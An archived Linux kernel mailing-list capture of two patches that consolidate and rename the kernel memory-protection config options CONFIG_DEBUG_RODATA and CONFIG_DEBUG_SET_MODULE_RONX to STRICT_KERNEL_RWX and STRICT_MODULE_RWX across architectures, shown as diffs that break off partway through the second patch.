X-Mailing-List: linux-doc@vger.kernel.org
Xref: news.gmane.org gmane.linux.documentation:44757 gmane.linux.kernel:2405046 gmane.linux.ports.arm.kernel:557316 gmane.linux.ports.parisc:27265 gmane.linux.power-management.general:86233 gmane.linux.kernel.hardened.devel:5511
Archived-At: <http://permalink.gmane.org/gmane.linux.documentation/44757>


There are multiple architectures that support CONFIG_DEBUG_RODATA and
CONFIG_SET_MODULE_RONX. These options also now have the ability to be
turned off at runtime. Move these to an architecture independent
location and make these options def_bool y for almost all of those
arches.

Signed-off-by: Laura Abbott <labbott@redhat.com>
---
v3: Make these configs selectable for arm. Include some documentation about
how the setup of the optional Kconfigs work as well. Stop spelling 'kenrel'
in prompt text.
---
 Documentation/security/self-protection.txt |  6 ++++++
 arch/Kconfig                               | 34 ++++++++++++++++++++++++++++++
 arch/arm/Kconfig                           |  4 ++++
 arch/arm/Kconfig.debug                     | 11 ----------
 arch/arm/mm/Kconfig                        | 12 -----------
 arch/arm64/Kconfig                         |  5 ++---
 arch/arm64/Kconfig.debug                   | 11 ----------
 arch/parisc/Kconfig                        |  1 +
 arch/parisc/Kconfig.debug                  | 11 ----------
 arch/s390/Kconfig                          |  5 ++---
 arch/s390/Kconfig.debug                    |  3 ---
 arch/x86/Kconfig                           |  5 ++---
 arch/x86/Kconfig.debug                     | 11 ----------
 13 files changed, 51 insertions(+), 68 deletions(-)

diff --git a/Documentation/security/self-protection.txt b/Documentation/security/self-protection.txt
index 3010576..f41dd00 100644
--- a/Documentation/security/self-protection.txt
+++ b/Documentation/security/self-protection.txt
@@ -56,6 +56,12 @@ CONFIG_DEBUG_SET_MODULE_RONX, which seek to make sure that code is not
 writable, data is not executable, and read-only data is neither writable
 nor executable.
 
+Most architectures have these options on by default and not user selectable.
+For some architectures like arm that wish to have these be selectable,
+the architecture Kconfig can select ARCH_OPTIONAL_KERNEL_RWX to enable
+a Kconfig prompt. CONFIG_ARCH_OPTIONAL_KERNEL_RWX_DEFAULT determines
+the default setting when ARCH_OPTIONAL_KERNEL_RWX is enabled.
+
 #### Function pointers and sensitive variables must not be writable
 
 Vast areas of kernel memory contain function pointers that are looked
diff --git a/arch/Kconfig b/arch/Kconfig
index 99839c2..3f8b8be 100644
--- a/arch/Kconfig
+++ b/arch/Kconfig
@@ -781,4 +781,38 @@ config VMAP_STACK
 	  the stack to map directly to the KASAN shadow map using a formula
 	  that is incorrect if the stack is in vmalloc space.
 
+config ARCH_OPTIONAL_KERNEL_RWX
+	def_bool n
+
+config ARCH_OPTIONAL_KERNEL_RWX_DEFAULT
+	def_bool n
+
+config ARCH_HAS_STRICT_KERNEL_RWX
+	def_bool n
+
+config DEBUG_RODATA
+	bool "Make kernel text and rodata read-only" if ARCH_OPTIONAL_KERNEL_RWX
+	depends on ARCH_HAS_STRICT_KERNEL_RWX
+	default !ARCH_OPTIONAL_KERNEL_RWX || ARCH_OPTIONAL_KERNEL_RWX_DEFAULT
+	help
+	  If this is set, kernel text and rodata memory will be made read-only,
+	  and non-text memory will be made non-executable. This provides
+	  protection against certain security exploits (e.g. executing the heap
+	  or modifying text)
+
+	  These features are considered standard security practice these days.
+	  You should say Y here in almost all cases.
+
+config ARCH_HAS_STRICT_MODULE_RWX
+	def_bool n
+
+config DEBUG_SET_MODULE_RONX
+	bool "Set loadable kernel module data as NX and text as RO" if ARCH_OPTIONAL_KERNEL_RWX
+	depends on ARCH_HAS_STRICT_MODULE_RWX && MODULES
+	default !ARCH_OPTIONAL_KERNEL_RWX || ARCH_OPTIONAL_KERNEL_RWX_DEFAULT
+	help
+	  If this is set, module text and rodata memory will be made read-only,
+	  and non-text memory will be made non-executable. This provides
+	  protection against certain security exploits (e.g. writing to text)
+
 source "kernel/gcov/Kconfig"
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 186c4c2..8748353 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -4,10 +4,14 @@ config ARM
 	select ARCH_CLOCKSOURCE_DATA
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAS_ELF_RANDOMIZE
+	select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
+	select ARCH_HAS_STRICT_MODULE_RWX if MMU
 	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
 	select ARCH_HAVE_CUSTOM_GPIO_H
 	select ARCH_HAS_GCOV_PROFILE_ALL
 	select ARCH_MIGHT_HAVE_PC_PARPORT
+	select ARCH_OPTIONAL_KERNEL_RWX if ARCH_HAS_STRICT_KERNEL_RWX
+	select ARCH_OPTIONAL_KERNEL_RWX_DEFAULT if CPU_V7
 	select ARCH_SUPPORTS_ATOMIC_RMW
 	select ARCH_USE_BUILTIN_BSWAP
 	select ARCH_USE_CMPXCHG_LOCKREF
diff --git a/arch/arm/Kconfig.debug b/arch/arm/Kconfig.debug
index d83f7c3..426d271 100644
--- a/arch/arm/Kconfig.debug
+++ b/arch/arm/Kconfig.debug
@@ -1738,17 +1738,6 @@ config PID_IN_CONTEXTIDR
 	  additional instructions during context switch. Say Y here only if you
 	  are planning to use hardware trace tools with this kernel.
 
-config DEBUG_SET_MODULE_RONX
-	bool "Set loadable kernel module data as NX and text as RO"
-	depends on MODULES && MMU
-	---help---
-	  This option helps catch unintended modifications to loadable
-	  kernel module's text and read-only data. It also prevents execution
-	  of module data. Such protection may interfere with run-time code
-	  patching and dynamic kernel tracing - and they might also protect
-	  against certain classes of kernel exploits.
-	  If in doubt, say "N".
-
 source "drivers/hwtracing/coresight/Kconfig"
 
 endmenu
diff --git a/arch/arm/mm/Kconfig b/arch/arm/mm/Kconfig
index f68e8ec..419a035 100644
--- a/arch/arm/mm/Kconfig
+++ b/arch/arm/mm/Kconfig
@@ -1051,18 +1051,6 @@ config ARCH_SUPPORTS_BIG_ENDIAN
 	  This option specifies the architecture can support big endian
 	  operation.
 
-config DEBUG_RODATA
-	bool "Make kernel text and rodata read-only"
-	depends on MMU && !XIP_KERNEL
-	default y if CPU_V7
-	help
-	  If this is set, kernel text and rodata memory will be made
-	  read-only, and non-text kernel memory will be made non-executable.
-	  The tradeoff is that each region is padded to section-size (1MiB)
-	  boundaries (because their permissions are different and splitting
-	  the 1M pages into 4K ones causes TLB performance problems), which
-	  can waste memory.
-
 config DEBUG_ALIGN_RODATA
 	bool "Make rodata strictly non-executable"
 	depends on DEBUG_RODATA
diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
index 1117421..e1efbcc 100644
--- a/arch/arm64/Kconfig
+++ b/arch/arm64/Kconfig
@@ -13,6 +13,8 @@ config ARM64
 	select ARCH_HAS_GIGANTIC_PAGE
 	select ARCH_HAS_KCOV
 	select ARCH_HAS_SG_CHAIN
+	select ARCH_HAS_STRICT_KERNEL_RWX
+	select ARCH_HAS_STRICT_MODULE_RWX
 	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
 	select ARCH_USE_CMPXCHG_LOCKREF
 	select ARCH_SUPPORTS_ATOMIC_RMW
@@ -123,9 +125,6 @@ config ARCH_PHYS_ADDR_T_64BIT
 config MMU
 	def_bool y
 
-config DEBUG_RODATA
-	def_bool y
-
 config ARM64_PAGE_SHIFT
 	int
 	default 16 if ARM64_64K_PAGES
diff --git a/arch/arm64/Kconfig.debug b/arch/arm64/Kconfig.debug
index d1ebd46..939815e 100644
--- a/arch/arm64/Kconfig.debug
+++ b/arch/arm64/Kconfig.debug
@@ -71,17 +71,6 @@ config DEBUG_WX
 
 	  If in doubt, say "Y".
 
-config DEBUG_SET_MODULE_RONX
-	bool "Set loadable kernel module data as NX and text as RO"
-	depends on MODULES
-	default y
-	help
-	  Is this is set, kernel module text and rodata will be made read-only.
-	  This is to help catch accidental or malicious attempts to change the
-	  kernel's executable code.
-
-	  If in doubt, say Y.
-
 config DEBUG_ALIGN_RODATA
 	depends on DEBUG_RODATA
 	bool "Align linker sections up to SECTION_SIZE"
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 3a71f38..ad294b3 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -8,6 +8,7 @@ config PARISC
 	select HAVE_SYSCALL_TRACEPOINTS
 	select ARCH_WANT_FRAME_POINTERS
 	select ARCH_HAS_ELF_RANDOMIZE
+	select ARCH_HAS_STRICT_KERNEL_RWX
 	select RTC_CLASS
 	select RTC_DRV_GENERIC
 	select INIT_ALL_POSSIBLE
diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
index 68b7cbd..0d856b9 100644
--- a/arch/parisc/Kconfig.debug
+++ b/arch/parisc/Kconfig.debug
@@ -5,15 +5,4 @@ source "lib/Kconfig.debug"
 config TRACE_IRQFLAGS_SUPPORT
 	def_bool y
 
-config DEBUG_RODATA
-       bool "Write protect kernel read-only data structures"
-       depends on DEBUG_KERNEL
-       default y
-       help
-         Mark the kernel read-only data as write-protected in the pagetables,
-         in order to catch accidental (and incorrect) writes to such const
-         data. This option may have a slight performance impact because a
-         portion of the kernel code won't be covered by a TLB anymore.
-         If in doubt, say "N".
-
 endmenu
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index c6722112..53bb0e3 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -62,9 +62,6 @@ config PCI_QUIRKS
 config ARCH_SUPPORTS_UPROBES
 	def_bool y
 
-config DEBUG_RODATA
-	def_bool y
-
 config S390
 	def_bool y
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
@@ -73,6 +70,8 @@ config S390
 	select ARCH_HAS_GIGANTIC_PAGE
 	select ARCH_HAS_KCOV
 	select ARCH_HAS_SG_CHAIN
+	select ARCH_HAS_STRICT_KERNEL_RWX
+	select ARCH_HAS_STRICT_MODULE_RWX
 	select ARCH_HAS_UBSAN_SANITIZE_ALL
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
 	select ARCH_INLINE_READ_LOCK
diff --git a/arch/s390/Kconfig.debug b/arch/s390/Kconfig.debug
index 26c5d5be..57f8ea9 100644
--- a/arch/s390/Kconfig.debug
+++ b/arch/s390/Kconfig.debug
@@ -17,7 +17,4 @@ config S390_PTDUMP
 	  kernel.
 	  If in doubt, say "N"
 
-config DEBUG_SET_MODULE_RONX
-	def_bool y
-	depends on MODULES
 endmenu
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index e487493..13e1bf4 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -54,6 +54,8 @@ config X86
 	select ARCH_HAS_MMIO_FLUSH
 	select ARCH_HAS_PMEM_API		if X86_64
 	select ARCH_HAS_SG_CHAIN
+	select ARCH_HAS_STRICT_KERNEL_RWX
+	select ARCH_HAS_STRICT_MODULE_RWX
 	select ARCH_HAS_UBSAN_SANITIZE_ALL
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
 	select ARCH_MIGHT_HAVE_ACPI_PDC		if ACPI
@@ -309,9 +311,6 @@ config ARCH_SUPPORTS_UPROBES
 config FIX_EARLYCON_MEM
 	def_bool y
 
-config DEBUG_RODATA
-	def_bool y
-
 config PGTABLE_LEVELS
 	int
 	default 4 if X86_64
diff --git a/arch/x86/Kconfig.debug b/arch/x86/Kconfig.debug
index 67eec55..69cdd0b 100644
--- a/arch/x86/Kconfig.debug
+++ b/arch/x86/Kconfig.debug
@@ -109,17 +109,6 @@ config DEBUG_WX
 
 	  If in doubt, say "Y".
 
-config DEBUG_SET_MODULE_RONX
-	bool "Set loadable kernel module data as NX and text as RO"
-	depends on MODULES
-	---help---
-	  This option helps catch unintended modifications to loadable
-	  kernel module's text and read-only data. It also prevents execution
-	  of module data. Such protection may interfere with run-time code
-	  patching and dynamic kernel tracing - and they might also protect
-	  against certain classes of kernel exploits.
-	  If in doubt, say "N".
-
 config DEBUG_NX_TEST
 	tristate "Testcase for the NX non-executable stack feature"
 	depends on DEBUG_KERNEL && m
-- 
2.7.4

--
To unsubscribe from this list: send the line "unsubscribe linux-doc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Laura Abbott <labbott@redhat.com>
Newsgroups: gmane.linux.kernel.hardened.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general
Subject: [PATCHv3 2/2] arch: Rename CONFIG_DEBUG_RODATA and CONFIG_DEBUG_MODULE_RONX
Date: Mon,  6 Feb 2017 16:31:58 -0800
Lines: 491
Approved: news@gmane.org
Message-ID: <1486427518-14819-3-git-send-email-labbott@redhat.com>
References: <1486427518-14819-1-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1486427552 2918 195.159.176.226 (7 Feb 2017 00:32:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 7 Feb 2017 00:32:32 +0000 (UTC)
Cc: Laura Abbott <labbott@redhat.com>,
	Jason Wessel <jason.wessel@windriver.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@redhat.com>,
	"H. Peter Anvin" <hpa@zytor.com>,
	x86@kernel.org,
	Rob Herring <robh@kernel.org>,
	"Rafael J. Wysocki" <rjw@rjwysocki.net>,
	Len Brown <len.brown@intel.com>,
	Pavel Machek <pavel@ucw.cz>,
	Mark Rutland <mark.rutland@arm.com>,
	Jessica Yu <jeyu@redhat.com>,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org,
	li
To: Kees Cook <keescook@chromium.org>
Original-X-From: kernel-hardening-return-6359-glkh-kernel-hardening=m.gmane.org@lists.openwall.com Tue Feb 07 01:32:25 2017
Return-path: <kernel-hardening-return-6359-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>
Envelope-to: glkh-kernel-hardening@m.gmane.org
Original-Received: from mother.openwall.net ([195.42.179.200])
	by blaine.gmane.org with smtp (Exim 4.84_2)
	(envelope-from <kernel-hardening-return-6359-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>)
	id 1catho-0000W4-Lf
	for glkh-kernel-hardening@m.gmane.org; Tue, 07 Feb 2017 01:32:24 +0100
Original-Received: (qmail 17635 invoked by uid 550); 7 Feb 2017 00:32:26 -0000
Mailing-List: contact kernel-hardening-help@lists.openwall.com; run by ezmlm
Precedence: bulk
List-Post: <mailto:kernel-hardening@lists.openwall.com>
List-Help: <mailto:kernel-hardening-help@lists.openwall.com>
List-Unsubscribe: <mailto:kernel-hardening-unsubscribe@lists.openwall.com>
List-Subscribe: <mailto:kernel-hardening-subscribe@lists.openwall.com>
List-ID: <kernel-hardening.lists.openwall.com>
Delivered-To: mailing list kernel-hardening@lists.openwall.com
Original-Received: (qmail 17534 invoked from network); 7 Feb 2017 00:32:25 -0000
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=lhh6fkWIDEUqRphm9+pJaNYZjYcjAu3dSFdzrFvDZX8=;
        b=QoZ7NkPFxv+x85PY1VKCw/nsOjMVG8i07zL4BH86XCjQUwGPH+1eWSUfepdwfW5El+
         dwPJmxeEKEy3sh9XJZPenKcjuzIfyywBqwAyfvuJ8V195w/GEFMNDKMQeDuw2sDeDeWn
         yNOuIuSv7u+tnjTZ/U8ooye5JBGHXStgSGgo/xcxtMHialhV7qfBaIpc0ZobRlDgZ+oy
         U0232nnLQUteVP0tpjLs0KxKowKDTXOsz6A/r0lkh/r53VaK7WNgrrh2xRT+LsXQTMfq
         L/7IYfe1mVabv/pgifP5CNDLLptRnCz4LaiGOL32NT17+dHhkvs2TQ4pAgrJbVy/AaV2
         XY7w==
X-Gm-Message-State: AMke39lTdjwpBRMLN7sgHEJnRO2FrVTwri9CIb6lrL76/Ipy0l2yzrsobBXxUbrzojwbRqmD
X-Received: by 10.200.0.25 with SMTP id a25mr11943317qtg.191.1486427533565;
        Mon, 06 Feb 2017 16:32:13 -0800 (PST)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1486427518-14819-1-git-send-email-labbott@redhat.com>
Xref: news.gmane.org gmane.linux.kernel.hardened.devel:5512 gmane.linux.documentation:44758 gmane.linux.kernel:2405047 gmane.linux.ports.arm.kernel:557317 gmane.linux.ports.parisc:27266 gmane.linux.power-management.general:86234
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.hardened.devel/5512>

Both of these options are poorly named. The features they provide are
necessary for system security and should not be considered debug only.
Change the names to CONFIG_STRICT_KERNEL_RWX and
CONFIG_STRICT_MODULE_RWX to better describe what these options do.

Signed-off-by: Laura Abbott <labbott@redhat.com>
---
v3: Minor config text tweek per Kees. Corrected the change of config names in
the arm config files.
---
 Documentation/DocBook/kgdb.tmpl            | 8 ++++----
 Documentation/security/self-protection.txt | 4 ++--
 arch/Kconfig                               | 4 ++--
 arch/arm/configs/aspeed_g4_defconfig       | 4 ++--
 arch/arm/configs/aspeed_g5_defconfig       | 4 ++--
 arch/arm/include/asm/cacheflush.h          | 2 +-
 arch/arm/kernel/patch.c                    | 4 ++--
 arch/arm/kernel/vmlinux.lds.S              | 8 ++++----
 arch/arm/mm/Kconfig                        | 2 +-
 arch/arm/mm/init.c                         | 4 ++--
 arch/arm64/Kconfig.debug                   | 2 +-
 arch/arm64/kernel/insn.c                   | 2 +-
 arch/parisc/configs/712_defconfig          | 1 -
 arch/parisc/configs/c3000_defconfig        | 1 -
 arch/parisc/mm/init.c                      | 2 +-
 include/linux/filter.h                     | 4 ++--
 include/linux/init.h                       | 4 ++--
 include/linux/module.h                     | 2 +-
 init/main.c                                | 4 ++--
 kernel/configs/android-recommended.config  | 2 +-
 kernel/module.c                            | 6 +++---
 kernel/power/hibernate.c                   | 2 +-
 kernel/power/power.h                       | 4 ++--
 kernel/power/snapshot.c                    | 4 ++--
 24 files changed, 41 insertions(+), 43 deletions(-)

diff --git a/Documentation/DocBook/kgdb.tmpl b/Documentation/DocBook/kgdb.tmpl
index f3abca7..856ac20 100644
--- a/Documentation/DocBook/kgdb.tmpl
+++ b/Documentation/DocBook/kgdb.tmpl
@@ -115,12 +115,12 @@
     </para>
     <para>
     If the architecture that you are using supports the kernel option
-    CONFIG_DEBUG_RODATA, you should consider turning it off.  This
+    CONFIG_STRICT_KERNEL_RWX, you should consider turning it off.  This
     option will prevent the use of software breakpoints because it
     marks certain regions of the kernel's memory space as read-only.
     If kgdb supports it for the architecture you are using, you can
     use hardware breakpoints if you desire to run with the
-    CONFIG_DEBUG_RODATA option turned on, else you need to turn off
+    CONFIG_STRICT_KERNEL_RWX option turned on, else you need to turn off
     this option.
     </para>
     <para>
@@ -135,7 +135,7 @@
     <para>Here is an example set of .config symbols to enable or
     disable for kgdb:
     <itemizedlist>
-    <listitem><para># CONFIG_DEBUG_RODATA is not set</para></listitem>
+    <listitem><para># CONFIG_STRICT_KERNEL_RWX is not set</para></listitem>
     <listitem><para>CONFIG_FRAME_POINTER=y</para></listitem>
     <listitem><para>CONFIG_KGDB=y</para></listitem>
     <listitem><para>CONFIG_KGDB_SERIAL_CONSOLE=y</para></listitem>
@@ -166,7 +166,7 @@
     </para>
     <para>Here is an example set of .config symbols to enable/disable kdb:
     <itemizedlist>
-    <listitem><para># CONFIG_DEBUG_RODATA is not set</para></listitem>
+    <listitem><para># CONFIG_STRICT_KERNEL_RWX is not set</para></listitem>
     <listitem><para>CONFIG_FRAME_POINTER=y</para></listitem>
     <listitem><para>CONFIG_KGDB=y</para></listitem>
     <listitem><para>CONFIG_KGDB_SERIAL_CONSOLE=y</para></listitem>
diff --git a/Documentation/security/self-protection.txt b/Documentation/security/self-protection.txt
index f41dd00..141acfe 100644
--- a/Documentation/security/self-protection.txt
+++ b/Documentation/security/self-protection.txt
@@ -51,8 +51,8 @@ kernel, they are implemented in a way where the memory is temporarily
 made writable during the update, and then returned to the original
 permissions.)
 
-In support of this are (the poorly named) CONFIG_DEBUG_RODATA and
-CONFIG_DEBUG_SET_MODULE_RONX, which seek to make sure that code is not
+In support of this are CONFIG_STRICT_KERNEL_RWX and
+CONFIG_STRICT_MODULE_RWX, which seek to make sure that code is not
 writable, data is not executable, and read-only data is neither writable
 nor executable.
 
diff --git a/arch/Kconfig b/arch/Kconfig
index 3f8b8be..33f5a55 100644
--- a/arch/Kconfig
+++ b/arch/Kconfig
@@ -790,7 +790,7 @@ config ARCH_OPTIONAL_KERNEL_RWX_DEFAULT
 config ARCH_HAS_STRICT_KERNEL_RWX
 	def_bool n
 
-config DEBUG_RODATA
+config STRICT_KERNEL_RWX
 	bool "Make kernel text and rodata read-only" if ARCH_OPTIONAL_KERNEL_RWX
 	depends on ARCH_HAS_STRICT_KERNEL_RWX
 	default !ARCH_OPTIONAL_KERNEL_RWX || ARCH_OPTIONAL_KERNEL_RWX_DEFAULT
@@ -806,7 +806,7 @@ config DEBUG_RODATA
 config ARCH_HAS_STRICT_MODULE_RWX
 	def_bool n
 
-config DEBUG_SET_MODULE_RONX
+config STRICT_MODULE_RWX
 	bool "Set loadable kernel module data as NX and text as RO" if ARCH_OPTIONAL_KERNEL_RWX
 	depends on ARCH_HAS_STRICT_MODULE_RWX && MODULES
 	default !ARCH_OPTIONAL_KERNEL_RWX || ARCH_OPTIONAL_KERNEL_RWX_DEFAULT
diff --git a/arch/arm/configs/aspeed_g4_defconfig b/arch/arm/configs/aspeed_g4_defconfig
index ca39c04..05b99bc 100644
--- a/arch/arm/configs/aspeed_g4_defconfig
+++ b/arch/arm/configs/aspeed_g4_defconfig
@@ -25,7 +25,6 @@ CONFIG_MODULE_UNLOAD=y
 # CONFIG_ARCH_MULTI_V7 is not set
 CONFIG_ARCH_ASPEED=y
 CONFIG_MACH_ASPEED_G4=y
-CONFIG_DEBUG_RODATA=y
 CONFIG_AEABI=y
 CONFIG_UACCESS_WITH_MEMCPY=y
 CONFIG_SECCOMP=y
@@ -79,7 +78,8 @@ CONFIG_DEBUG_LL_UART_8250=y
 CONFIG_DEBUG_UART_PHYS=0x1e784000
 CONFIG_DEBUG_UART_VIRT=0xe8784000
 CONFIG_EARLY_PRINTK=y
-CONFIG_DEBUG_SET_MODULE_RONX=y
+CONFIG_STRICT_MODULE_RWX=y
+CONFIG_STRICT_KERNEL_RWX=y
 # CONFIG_XZ_DEC_X86 is not set
 # CONFIG_XZ_DEC_POWERPC is not set
 # CONFIG_XZ_DEC_IA64 is not set
diff --git a/arch/arm/configs/aspeed_g5_defconfig b/arch/arm/configs/aspeed_g5_defconfig
index 4f366b0..05a16d5 100644
--- a/arch/arm/configs/aspeed_g5_defconfig
+++ b/arch/arm/configs/aspeed_g5_defconfig
@@ -26,7 +26,6 @@ CONFIG_ARCH_MULTI_V6=y
 # CONFIG_ARCH_MULTI_V7 is not set
 CONFIG_ARCH_ASPEED=y
 CONFIG_MACH_ASPEED_G5=y
-CONFIG_DEBUG_RODATA=y
 CONFIG_AEABI=y
 CONFIG_UACCESS_WITH_MEMCPY=y
 CONFIG_SECCOMP=y
@@ -81,7 +80,8 @@ CONFIG_DEBUG_LL_UART_8250=y
 CONFIG_DEBUG_UART_PHYS=0x1e784000
 CONFIG_DEBUG_UART_VIRT=0xe8784000
 CONFIG_EARLY_PRINTK=y
-CONFIG_DEBUG_SET_MODULE_RONX=y
+CONFIG_STRICT_MODULE_RWX=y
+CONFIG_STRICT_KERNEL_RWX=y
 # CONFIG_XZ_DEC_X86 is not set
 # CONFIG_XZ_DEC_POWERPC is not set
 # CONFIG_XZ_DEC_IA64 is not set
diff --git a/arch/arm/include/asm/cacheflush.h b/arch/arm/include/asm/cacheflush.h
index bdd283b..02454fa 100644
--- a/arch/arm/include/asm/cacheflush.h
+++ b/arch/arm/include/asm/cacheflush.h
@@ -490,7 +490,7 @@ static inline int set_memory_x(unsigned long addr, int numpages) { return 0; }
 static inline int set_memory_nx(unsigned long addr, int numpages) { return 0; }
 #endif
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 void set_kernel_text_rw(void);
 void set_kernel_text_ro(void);
 #else
diff --git a/arch/arm/kernel/patch.c b/arch/arm/kernel/patch.c
index 69bda1a..020560b 100644
--- a/arch/arm/kernel/patch.c
+++ b/arch/arm/kernel/patch.c
@@ -24,9 +24,9 @@ static void __kprobes *patch_map(void *addr, int fixmap, unsigned long *flags)
 	bool module = !core_kernel_text(uintaddr);
 	struct page *page;
 
-	if (module && IS_ENABLED(CONFIG_DEBUG_SET_MODULE_RONX))
+	if (module && IS_ENABLED(CONFIG_STRICT_MODULE_RWX))
 		page = vmalloc_to_page(addr);
-	else if (!module && IS_ENABLED(CONFIG_DEBUG_RODATA))
+	else if (!module && IS_ENABLED(CONFIG_STRICT_KERNEL_RWX))
 		page = virt_to_page(addr);
 	else
 		return addr;
diff --git a/arch/arm/kernel/vmlinux.lds.S b/arch/arm/kernel/vmlinux.lds.S
index f7f55df..ce18007 100644
--- a/arch/arm/kernel/vmlinux.lds.S
+++ b/arch/arm/kernel/vmlinux.lds.S
@@ -97,7 +97,7 @@ SECTIONS
 		HEAD_TEXT
 	}
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 	. = ALIGN(1<<SECTION_SHIFT);
 #endif
 
@@ -158,7 +158,7 @@ SECTIONS
 
 	NOTES
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 	. = ALIGN(1<<SECTION_SHIFT);
 #else
 	. = ALIGN(PAGE_SIZE);
@@ -230,7 +230,7 @@ SECTIONS
 	PERCPU_SECTION(L1_CACHE_BYTES)
 #endif
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 	. = ALIGN(1<<SECTION_SHIFT);
 #else
 	. = ALIGN(THREAD_SIZE);
@@ -325,7 +325,7 @@ SECTIONS
 	STABS_DEBUG
 }
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 /*
  * Without CONFIG_DEBUG_ALIGN_RODATA, __start_rodata_section_aligned will
  * be the first section-aligned location after __start_rodata. Otherwise,
diff --git a/arch/arm/mm/Kconfig b/arch/arm/mm/Kconfig
index 419a035..35e3a56 100644
--- a/arch/arm/mm/Kconfig
+++ b/arch/arm/mm/Kconfig
@@ -1053,7 +1053,7 @@ config ARCH_SUPPORTS_BIG_ENDIAN
 
 config DEBUG_ALIGN_RODATA
 	bool "Make rodata strictly non-executable"
-	depends on DEBUG_RODATA
+	depends on STRICT_KERNEL_RWX
 	default y
 	help
 	  If this is set, rodata will be made explicitly non-executable. This
diff --git a/arch/arm/mm/init.c b/arch/arm/mm/init.c
index 370581a..4be0bee 100644
--- a/arch/arm/mm/init.c
+++ b/arch/arm/mm/init.c
@@ -572,7 +572,7 @@ void __init mem_init(void)
 	}
 }
 
-#ifdef CONFIG_DEBUG_RODATA
+#ifdef CONFIG_STRICT_KERNEL_RWX
 struct section_perm {
 	const char *name;
 	unsigned long start;
@@ -741,7 +741,7 @@ void set_kernel_text_ro(void)
 
 #else
 static inline void fix_kernmem_perms(void) { }
-#endif /* CONFIG_DEBUG_RODATA */
+#endif /* CONFIG_STRICT_KERNEL_RWX */
 
 void free_tcmmem(void)
 {
diff --git a/arch/arm64/Kconfig.debug b/arch/arm64/Kconfig.debug
index 939815e..560a8d8 100644
--- a/arch/arm64/Kconfig.debug
+++ b/arch/arm64/Kconfig.debug
@@ -72,7 +72,7 @@ config DEBUG_WX
 	  If in doubt, say "Y".
 
 config DEBUG_ALIGN_RODATA
-	depends on DEBUG_RODATA
+	depends on STRICT_KERNEL_RWX
 	bool "Align linker sections up to SECTION_SIZE"
 	help
 	  If this option is enabled, sections that may potentially be marked as
diff --git a/arch/arm64/kernel/insn.c b/arch/arm64/kernel/insn.c
index 94b62c1..67f9cb9 100644
--- a/arch/arm64/kernel/insn.c
+++ b/arch/arm64/kernel/insn.c
@@ -93,7 +93,7 @@ static void __kprobes *patch_map(void *addr, int fixmap)
 	bool module = !core_kernel_text(uintaddr);
 	struct page *page;
 
-	if (module && IS_ENABLED(CONFIG_DEBUG_SET_MODULE_RONX))
+	if (module && IS_ENABLED(CONFIG_STRICT_MODULE_RWX))
 		page = vmalloc_to_page(addr);
 	else if (!module)
 		page = pfn_to_page(PHYS_PFN(__pa(addr)));
diff --git a/arch/parisc/configs/712_defconfig b/arch/parisc/configs/712_defconfig
index db8f56b..143d026 100644
--- a/arch/parisc/configs/712_defconfig
+++ b/arch/parisc/configs/712_defconfig
@@ -182,7 +182,6 @@ CONFIG_DEBUG_FS=y
 CONFIG_DEBUG_KERNEL=y
 CONFIG_DEBUG_MUTEXES=y
 # CONFIG_RCU_CPU_STALL_DETECTOR is not set
-CONFIG_DEBUG_RODATA=y
 CONFIG_CRYPTO_NULL=m
 CONFIG_CRYPTO_TEST=m
